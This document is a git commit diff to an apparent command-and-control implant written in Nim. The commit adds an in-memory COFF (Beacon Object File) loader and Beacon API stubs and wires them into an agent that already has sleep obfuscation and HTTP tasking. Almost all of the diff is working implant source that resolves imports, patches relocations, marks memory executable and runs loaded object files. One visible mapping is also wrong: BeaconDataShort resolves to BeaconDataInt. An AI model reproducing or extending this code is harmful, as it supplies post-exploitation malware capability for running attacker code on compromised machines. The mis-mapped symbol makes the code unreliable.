Implemented COFF loader.
This commit is contained in:
@@ -26,4 +26,5 @@ requires "parsetoml >= 0.7.2"
|
|||||||
requires "nimcrypto >= 0.6.4"
|
requires "nimcrypto >= 0.6.4"
|
||||||
requires "tiny_sqlite >= 0.2.0"
|
requires "tiny_sqlite >= 0.2.0"
|
||||||
requires "prologue >= 0.6.6"
|
requires "prologue >= 0.6.6"
|
||||||
requires "winim >= 3.9.4"
|
requires "winim >= 3.9.4"
|
||||||
|
requires "ptr_math >= 0.3.0"
|
||||||
86
src/agent/core/beacon.nim
Normal file
86
src/agent/core/beacon.nim
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
import winim/core
|
||||||
|
|
||||||
|
# Reference: https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/beaconapi.nim
|
||||||
|
|
||||||
|
type va_list {.importc: "va_list", header: "<stdarg.h>".} = object
|
||||||
|
proc puts(s: pointer): void {.importc, header: "<stdio.h>".}
|
||||||
|
proc vprintf(format: pointer, args: va_list) {.importc, header: "<stdio.h>".}
|
||||||
|
proc va_start(va: va_list, fmt: pointer) {.importc, header: "<stdarg.h>".}
|
||||||
|
proc va_end(va: va_list): void {.importc, header: "<stdarg.h>".}
|
||||||
|
|
||||||
|
type datap* {.pure.} = object
|
||||||
|
original: PCHAR
|
||||||
|
buffer: PCHAR
|
||||||
|
length: INT
|
||||||
|
size: INT
|
||||||
|
|
||||||
|
const
|
||||||
|
CALLBACK_OUTPUT* = 0x0
|
||||||
|
CALLBACK_OUTPUT_OEM* = 0x1e
|
||||||
|
CALLBACK_OUTPUT_UTF8* = 0x20
|
||||||
|
CALLBACK_ERROR* = 0xd
|
||||||
|
|
||||||
|
proc BeaconDataParse*(parser: ptr datap, buffer: PCHAR, size: INT): void =
|
||||||
|
if cast[int](parser) == 0:
|
||||||
|
return
|
||||||
|
parser.original = buffer
|
||||||
|
parser.buffer = buffer
|
||||||
|
parser.length = size - 4
|
||||||
|
parser.size = size - 4
|
||||||
|
parser.buffer = cast[PCHAR](cast[int](buffer) + 4)
|
||||||
|
|
||||||
|
proc BeaconDataInt*(parser: ptr datap): INT =
|
||||||
|
var fourbyteint: INT = 0
|
||||||
|
if (parser.length < 4):
|
||||||
|
return 0
|
||||||
|
copyMem(fourbyteint.addr, parser.buffer, 4)
|
||||||
|
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
|
||||||
|
parser.length = cast[INT](cast[int](parser.length) - 4)
|
||||||
|
|
||||||
|
return fourbyteint
|
||||||
|
|
||||||
|
proc BeaconDataShort*(parser: ptr datap): SHORT =
|
||||||
|
var retvalue: SHORT = 0
|
||||||
|
if (parser.length < 2):
|
||||||
|
return 0
|
||||||
|
copyMem(retvalue.addr, parser.buffer, 2)
|
||||||
|
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 2)
|
||||||
|
parser.length = cast[INT](cast[int](parser.length) - 2)
|
||||||
|
|
||||||
|
return retvalue
|
||||||
|
|
||||||
|
proc BeaconDataLength*(parser: ptr datap): INT =
|
||||||
|
return parser.length
|
||||||
|
|
||||||
|
proc BeaconDataExtract*(parser: ptr datap, size: ptr INT): PCHAR =
|
||||||
|
var
|
||||||
|
length: INT = 0
|
||||||
|
outdata: PCHAR = nil
|
||||||
|
|
||||||
|
if (parser.length < 4):
|
||||||
|
return nil
|
||||||
|
|
||||||
|
copyMem(length.addr, parser.buffer, 4)
|
||||||
|
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
|
||||||
|
|
||||||
|
outdata = parser.buffer
|
||||||
|
if (outdata == nil):
|
||||||
|
return nil
|
||||||
|
|
||||||
|
parser.length = cast[INT](cast[int](parser.length) - 4)
|
||||||
|
parser.length = cast[INT](cast[int](parser.length) - length)
|
||||||
|
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + length)
|
||||||
|
|
||||||
|
if (size != nil) and (outdata != nil):
|
||||||
|
size[] = length
|
||||||
|
|
||||||
|
return outdata
|
||||||
|
|
||||||
|
proc BeaconOutput*(typ: int, data: pointer, length: int): void =
|
||||||
|
puts(data)
|
||||||
|
|
||||||
|
proc BeaconPrintf*(typ: int, fmt: pointer): void {.varargs.} =
|
||||||
|
var va: va_list
|
||||||
|
va_start(va, fmt)
|
||||||
|
vprintf(fmt, va)
|
||||||
|
va_end(va)
|
||||||
427
src/agent/core/coff.nim
Normal file
427
src/agent/core/coff.nim
Normal file
@@ -0,0 +1,427 @@
|
|||||||
|
import winim/lean
|
||||||
|
import os, strformat, strutils, ptr_math
|
||||||
|
import ./beacon
|
||||||
|
import ../../common/[types, utils, crypto]
|
||||||
|
|
||||||
|
import sugar
|
||||||
|
|
||||||
|
#[
|
||||||
|
Object file loading involves the following steps
|
||||||
|
1. Calculate and allocate memory required to hold the object file sections and symbols
|
||||||
|
2. Copy option sections into the newly allocated memory
|
||||||
|
3. Parse and resolve function symbols
|
||||||
|
4. Perform section relocations
|
||||||
|
5. Change memory protection and execute the entry point function
|
||||||
|
|
||||||
|
References:
|
||||||
|
- https://maldevacademy.com/new/modules/51
|
||||||
|
- https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/main.nim
|
||||||
|
- https://github.com/frkngksl/NiCOFF/blob/main/Main.nim
|
||||||
|
]#
|
||||||
|
|
||||||
|
# Type definitions
|
||||||
|
type
|
||||||
|
SECTION_MAP = object
|
||||||
|
base: PVOID
|
||||||
|
size: ULONG
|
||||||
|
|
||||||
|
PSECTION_MAP = ptr SECTION_MAP
|
||||||
|
|
||||||
|
OBJECT_CTX_UNION {.union.} = object
|
||||||
|
base: ULONG_PTR
|
||||||
|
header: PIMAGE_FILE_HEADER
|
||||||
|
|
||||||
|
OBJECT_CTX {.pure.} = object
|
||||||
|
union: OBJECT_CTX_UNION
|
||||||
|
symTbl: PIMAGE_SYMBOL
|
||||||
|
symMap: ptr PVOID
|
||||||
|
secMap: PSECTION_MAP
|
||||||
|
sections: PIMAGE_SECTION_HEADER
|
||||||
|
|
||||||
|
POBJECT_CTX = ptr OBJECT_CTX
|
||||||
|
|
||||||
|
# For entry point execution
|
||||||
|
EntryPoint = proc(args: PBYTE, argc: ULONG): void {.stdcall.}
|
||||||
|
|
||||||
|
# Macro for page alignment ( important for calculating the total virtual memory required for the object file to be loaded and executed)
|
||||||
|
# #define PAGE_ALIGN( x ) (((ULONG_PTR)x) + ((SIZE_OF_PAGE - (((ULONG_PTR)x) & (SIZE_OF_PAGE - 1))) % SIZE_OF_PAGE))
|
||||||
|
const PAGE_SIZE = 0x1000
|
||||||
|
template PAGE_ALIGN(address: auto): uint =
|
||||||
|
if cast[uint](address) mod PAGE_SIZE == 0:
|
||||||
|
cast[uint](address)
|
||||||
|
else:
|
||||||
|
cast[uint](cast[uint](address) + ((PAGE_SIZE - ((cast[uint](address) and (PAGE_SIZE - 1))) mod PAGE_SIZE)))
|
||||||
|
|
||||||
|
#[
|
||||||
|
Calculates required memory size
|
||||||
|
]#
|
||||||
|
proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
|
||||||
|
|
||||||
|
var
|
||||||
|
objRel: PIMAGE_RELOCATION
|
||||||
|
objSym: PIMAGE_SYMBOL
|
||||||
|
symbol: PSTR
|
||||||
|
length: ULONG
|
||||||
|
|
||||||
|
var sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||||
|
|
||||||
|
# Calculate size of the sections
|
||||||
|
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||||
|
length += ULONG(PAGE_ALIGN(sections[i].SizeOfRawData))
|
||||||
|
|
||||||
|
# Calculate function map size
|
||||||
|
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||||
|
objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
|
||||||
|
|
||||||
|
# Iterate over section relocations to retrieve symbols
|
||||||
|
for j in 0 ..< int(sections[i].NumberOfRelocations):
|
||||||
|
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))
|
||||||
|
# dump objSym.repr
|
||||||
|
|
||||||
|
# Retrieve symbol name
|
||||||
|
if objSym.N.Name.Short != 0:
|
||||||
|
# Short name
|
||||||
|
symbol = cast[PSTR](addr objSym.N.ShortName)
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Long name
|
||||||
|
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
|
||||||
|
|
||||||
|
# Check if symbol starts with `__ipm_` (imported functions)
|
||||||
|
if ($symbol).startsWith("__imp_"):
|
||||||
|
length += ULONG(sizeof(PVOID))
|
||||||
|
# echo $symbol
|
||||||
|
|
||||||
|
# Handle next relocation item/symbol
|
||||||
|
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
|
||||||
|
|
||||||
|
return ULONG(PAGE_ALIGN(length))
|
||||||
|
|
||||||
|
#[
|
||||||
|
Symbol resolution
|
||||||
|
]#
|
||||||
|
proc strchr*(str: pointer, c: char): pointer =
|
||||||
|
var pStr = cast[ptr char](str)
|
||||||
|
while (pStr[] != '\0') and (pStr[] != c):
|
||||||
|
pStr = cast[ptr char](cast[int](pStr) + 1)
|
||||||
|
|
||||||
|
if pStr[] == c:
|
||||||
|
return cast[pointer](pStr)
|
||||||
|
else:
|
||||||
|
return nil
|
||||||
|
|
||||||
|
proc objectResolveSymbol(symbol: var PSTR): PVOID =
|
||||||
|
|
||||||
|
var
|
||||||
|
resolved: PVOID
|
||||||
|
function: PSTR
|
||||||
|
library: PSTR
|
||||||
|
pos: PCHAR
|
||||||
|
buffer: array[MAX_PATH, char]
|
||||||
|
hModule: HANDLE
|
||||||
|
|
||||||
|
if symbol == NULL:
|
||||||
|
return NULL
|
||||||
|
|
||||||
|
# Remove the `__imp_` prefix from the symbol (6 bytes)
|
||||||
|
symbol = cast[PSTR](cast[uint](symbol) + 6)
|
||||||
|
|
||||||
|
# Check if the symbol is a Beacon API function
|
||||||
|
if ($symbol).startsWith(protect("Beacon")):
|
||||||
|
case $symbol:
|
||||||
|
of protect("BeaconDataParse"):
|
||||||
|
resolved = BeaconDataParse
|
||||||
|
of protect("BeaconDataInt"):
|
||||||
|
resolved = BeaconDataInt
|
||||||
|
of protect("BeaconDataShort"):
|
||||||
|
resolved = BeaconDataInt
|
||||||
|
of protect("BeaconDataExtract"):
|
||||||
|
resolved = BeaconDataExtract
|
||||||
|
of protect("BeaconOutput"):
|
||||||
|
resolved = BeaconOutput
|
||||||
|
of protect("BeaconPrintf"):
|
||||||
|
resolved = BeaconPrintf
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Resolve a external Win32 API function
|
||||||
|
# For external APIs, we will need to parse symbols formatted as LIBRARY$Function
|
||||||
|
|
||||||
|
zeroMem(addr buffer[0], MAX_PATH)
|
||||||
|
copyMem(addr buffer[0], symbol, ($symbol).len())
|
||||||
|
|
||||||
|
# Replace `$` to separate library and function
|
||||||
|
pos = cast[PSTR](strchr(addr buffer[0], '$'))
|
||||||
|
pos[] = '\0'
|
||||||
|
|
||||||
|
library = cast[PSTR](addr buffer[0])
|
||||||
|
function = cast[PSTR](cast[uint](pos) + 1)
|
||||||
|
|
||||||
|
# Resolve the library instance
|
||||||
|
hModule = GetModuleHandleA(library)
|
||||||
|
if hModule == 0:
|
||||||
|
hModule = LoadLibraryA(library)
|
||||||
|
if hModule == 0:
|
||||||
|
raise newException(CatchableError, fmt"Library {$library} not found.")
|
||||||
|
|
||||||
|
# Resolve the function from the loaded library
|
||||||
|
resolved = GetProcAddress(hModule, function)
|
||||||
|
if resolved == NULL:
|
||||||
|
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
|
||||||
|
|
||||||
|
echo fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
||||||
|
|
||||||
|
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
|
||||||
|
|
||||||
|
return resolved
|
||||||
|
|
||||||
|
#[
|
||||||
|
Object relocation
|
||||||
|
Arguments:
|
||||||
|
- uType: Type of relocation to perform
|
||||||
|
- pRelocAddress: Address where the relocation will be applied
|
||||||
|
- pSecBase: Base address of the section in the newly allocated object file, where the relocation needs to occur
|
||||||
|
]#
|
||||||
|
proc objectRelocation(uType: ULONG, pRelocAddress: PVOID, pSecBase: PVOID) =
|
||||||
|
var
|
||||||
|
offset32: ULONG32
|
||||||
|
offset64: ULONG64
|
||||||
|
|
||||||
|
case(uType)
|
||||||
|
of IMAGE_REL_AMD64_REL32:
|
||||||
|
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32)
|
||||||
|
of IMAGE_REL_AMD64_REL32_1:
|
||||||
|
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 1)
|
||||||
|
of IMAGE_REL_AMD64_REL32_2:
|
||||||
|
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 2)
|
||||||
|
of IMAGE_REL_AMD64_REL32_3:
|
||||||
|
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 3)
|
||||||
|
of IMAGE_REL_AMD64_REL32_4:
|
||||||
|
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 4)
|
||||||
|
of IMAGE_REL_AMD64_REL32_5:
|
||||||
|
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 5)
|
||||||
|
of IMAGE_REL_AMD64_ADDR64:
|
||||||
|
cast[PUINT64](pRelocAddress)[] = cast[UINT64](cast[uint](cast[PUINT64](pRelocAddress)[]) + (cast[uint](pSecBase)))
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
#[
|
||||||
|
Section processing
|
||||||
|
]#
|
||||||
|
proc objectProcessSection(objCtx: POBJECT_CTX): bool =
|
||||||
|
|
||||||
|
var
|
||||||
|
secBase: PVOID
|
||||||
|
secSize: ULONG
|
||||||
|
objRel: PIMAGE_RELOCATION
|
||||||
|
objSym: PIMAGE_SYMBOL
|
||||||
|
symbol: PSTR
|
||||||
|
resolved: PVOID
|
||||||
|
reloc: PVOID
|
||||||
|
fnIndex: ULONG
|
||||||
|
|
||||||
|
var
|
||||||
|
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||||
|
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||||
|
symMap = cast[ptr UncheckedArray[PVOID]](objCtx.symMap)
|
||||||
|
|
||||||
|
# Process and relocate object file sections
|
||||||
|
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||||
|
objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
|
||||||
|
|
||||||
|
# Iterate over section relocations to retrieve symbols
|
||||||
|
for j in 0 ..< int(sections[i].NumberOfRelocations):
|
||||||
|
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))
|
||||||
|
|
||||||
|
# Retrieve symbol name
|
||||||
|
if objSym.N.Name.Short != 0:
|
||||||
|
# Short name
|
||||||
|
symbol = cast[PSTR](addr objSym.N.ShortName)
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Long name
|
||||||
|
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
|
||||||
|
|
||||||
|
# Retrieve address to perform relocation
|
||||||
|
reloc = cast[PVOID](cast[uint](secMap[i].base) + uint(objRel.union1.VirtualAddress))
|
||||||
|
resolved = NULL
|
||||||
|
|
||||||
|
# Check if symbol starts with `__ipm_` (imported functions)
|
||||||
|
if ($symbol).startsWith("__imp_"):
|
||||||
|
|
||||||
|
# Resolve the imported function
|
||||||
|
resolved = objectResolveSymbol(symbol)
|
||||||
|
if resolved == NULL:
|
||||||
|
return false
|
||||||
|
|
||||||
|
# Perform relocation on the imported function
|
||||||
|
if (objRel.Type == IMAGE_REL_AMD64_REL32) and (resolved != NULL):
|
||||||
|
symMap[fnIndex] = resolved
|
||||||
|
cast[PUINT32](reloc)[] = cast[UINT32]((cast[uint](objCtx.symMap) + uint(fnIndex) * uint(sizeof(PVOID))) - cast[uint](reloc) - uint(sizeof(uint32)))
|
||||||
|
inc fnIndex
|
||||||
|
|
||||||
|
else:
|
||||||
|
secBase = secMap[objSym.SectionNumber - 1].base
|
||||||
|
|
||||||
|
# Perform relocation on the section
|
||||||
|
objectRelocation(cast[ULONG](objRel.Type), reloc, secBase)
|
||||||
|
|
||||||
|
# Handle net relocation item/symbol
|
||||||
|
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
|
#[
|
||||||
|
Object file execution
|
||||||
|
Arguments:
|
||||||
|
- objCtx: Object context
|
||||||
|
- entry: Name of the entry function to be executed
|
||||||
|
- args: Pointer to the address of the arguments passed to the object file
|
||||||
|
- argc: Size of the arguments passed to the object file
|
||||||
|
]#
|
||||||
|
proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG): bool =
|
||||||
|
|
||||||
|
var
|
||||||
|
objSym: PIMAGE_SYMBOL
|
||||||
|
symbol: PSTR
|
||||||
|
secBase: PVOID
|
||||||
|
secSize: ULONG
|
||||||
|
oldProtect: ULONG
|
||||||
|
|
||||||
|
var secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||||
|
|
||||||
|
for i in 0 ..< int(objCtx.union.header.NumberOfSymbols):
|
||||||
|
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + i)
|
||||||
|
|
||||||
|
# Retrieve symbol name
|
||||||
|
if objSym.N.Name.Short != 0:
|
||||||
|
# Short name
|
||||||
|
symbol = cast[PSTR](addr objSym.N.ShortName)
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Long name
|
||||||
|
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
|
||||||
|
|
||||||
|
# Check if the function is defined within the object file
|
||||||
|
if ISFCN(objSym.Type) and ($symbol == $entry):
|
||||||
|
# Change the memory protection of the section to make it executable
|
||||||
|
secBase = secMap[objSym.SectionNumber - 1].base
|
||||||
|
secSize = secMap[objSym.SectionNumber - 1].size
|
||||||
|
|
||||||
|
# Change the memory protection from [RW-] to [R-X]
|
||||||
|
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
|
# Execute BOF entry point
|
||||||
|
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
||||||
|
entryPoint(args, argc)
|
||||||
|
|
||||||
|
# Revert the memory protection change
|
||||||
|
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
|
||||||
|
#[
|
||||||
|
Loads, parses and executes a object file in memory
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
- pObject: Base address of the object file in memory
|
||||||
|
- sFunction: Name of the function to be executed, usually "go"
|
||||||
|
- pArgs: Base address of the arguments to be passed to the function
|
||||||
|
- uArgc: Size of the arguments passed to the function
|
||||||
|
]#
|
||||||
|
proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBYTE, uArgc: ULONG): bool =
|
||||||
|
|
||||||
|
var
|
||||||
|
objCtx: OBJECT_CTX
|
||||||
|
virtSize: ULONG
|
||||||
|
virtAddr: PVOID
|
||||||
|
secSize: ULONG
|
||||||
|
secBase: PVOID
|
||||||
|
|
||||||
|
if pObject == NULL or sFunction == NULL:
|
||||||
|
raise newException(CatchableError, "Arguments pObject and sFunction are required.")
|
||||||
|
|
||||||
|
# Parsing the object file's file header, symbol table and sections
|
||||||
|
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
|
||||||
|
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
|
||||||
|
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
|
||||||
|
|
||||||
|
# echo objCtx.union.header.repr
|
||||||
|
# echo objCtx.symTbl.repr
|
||||||
|
# echo objCtx.sections.repr
|
||||||
|
|
||||||
|
# Verifying that the object file's architecture is x64
|
||||||
|
when defined(amd64):
|
||||||
|
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
||||||
|
raise newException(CatchableError, "Only x64 object files are supported")
|
||||||
|
else:
|
||||||
|
raise newException(CatchableError, "Only x64 object files are supported")
|
||||||
|
|
||||||
|
# Calculate required virtual memory
|
||||||
|
virtSize = objectVirtualSize(addr objCtx)
|
||||||
|
echo fmt"[*] Virtual size of object file: {virtSize} bytes"
|
||||||
|
|
||||||
|
# Allocate memory
|
||||||
|
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
||||||
|
if virtAddr == NULL:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
|
# Allocate heap memory to store section map array
|
||||||
|
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
||||||
|
if objCtx.secMap == NULL:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
|
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||||
|
|
||||||
|
# Set the section base to the allocated memory
|
||||||
|
secBase = virtAddr
|
||||||
|
|
||||||
|
# Copy over sections into the newly allocated virtual memory
|
||||||
|
var
|
||||||
|
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||||
|
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||||
|
|
||||||
|
echo "[*] Copying over sections."
|
||||||
|
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||||
|
secSize = sections[i].SizeOfRawData
|
||||||
|
secMap[i].size = secSize
|
||||||
|
secMap[i].base = secBase
|
||||||
|
|
||||||
|
# Copy over section data
|
||||||
|
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
|
||||||
|
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
|
||||||
|
|
||||||
|
# Get the next page entry
|
||||||
|
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
|
||||||
|
|
||||||
|
# The last page of the memory is the symbol/function map
|
||||||
|
objCtx.symMap = cast[ptr PVOID](secBase)
|
||||||
|
|
||||||
|
echo "[*] Processing sections and performing relocations."
|
||||||
|
if not objectProcessSection(addr objCtx):
|
||||||
|
raise newException(CatchableError, "Failed to process sections.")
|
||||||
|
|
||||||
|
# Executing the object file
|
||||||
|
echo "[*] Executing."
|
||||||
|
if not objectExecute(addr objCtx, sFunction, pArgs, uArgc):
|
||||||
|
raise newException(CatchableError, fmt"Failed to execute function {$sFunction}.")
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
|
proc test*() =
|
||||||
|
|
||||||
|
var
|
||||||
|
fileName = "whoami.x64.o"
|
||||||
|
pObject = readFile(fileName)
|
||||||
|
uLength: ULONG = cast[ULONG](pObject.len)
|
||||||
|
|
||||||
|
echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)"
|
||||||
|
|
||||||
|
try:
|
||||||
|
if not inlineExecuteObjectFile(addr pObject[0], "go", NULL, 0):
|
||||||
|
echo fmt"[-] Failed to inline-execute {fileName}"
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
echo "[-] ", err.msg
|
||||||
@@ -3,8 +3,6 @@ import winim/inc/tlhelp32
|
|||||||
import os, system, strformat
|
import os, system, strformat
|
||||||
import ../../common/[types, utils, crypto]
|
import ../../common/[types, utils, crypto]
|
||||||
|
|
||||||
import sugar
|
|
||||||
|
|
||||||
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
||||||
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
|
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
|
||||||
# https://maldevacademy.com/new/modules/54
|
# https://maldevacademy.com/new/modules/54
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import strformat, os, times, system, base64
|
import strformat, os, times, system, base64
|
||||||
|
|
||||||
import core/[http, context, sleepmask]
|
import core/[http, context, sleepmask, coff]
|
||||||
import protocol/[task, result, heartbeat, registration]
|
import protocol/[task, result, heartbeat, registration]
|
||||||
import ../modules/manager
|
import ../modules/manager
|
||||||
import ../common/[types, utils, crypto]
|
import ../common/[types, utils, crypto]
|
||||||
@@ -69,5 +69,5 @@ proc main() =
|
|||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] ", err.msg
|
echo "[-] ", err.msg
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
main()
|
main()
|
||||||
Reference in New Issue
Block a user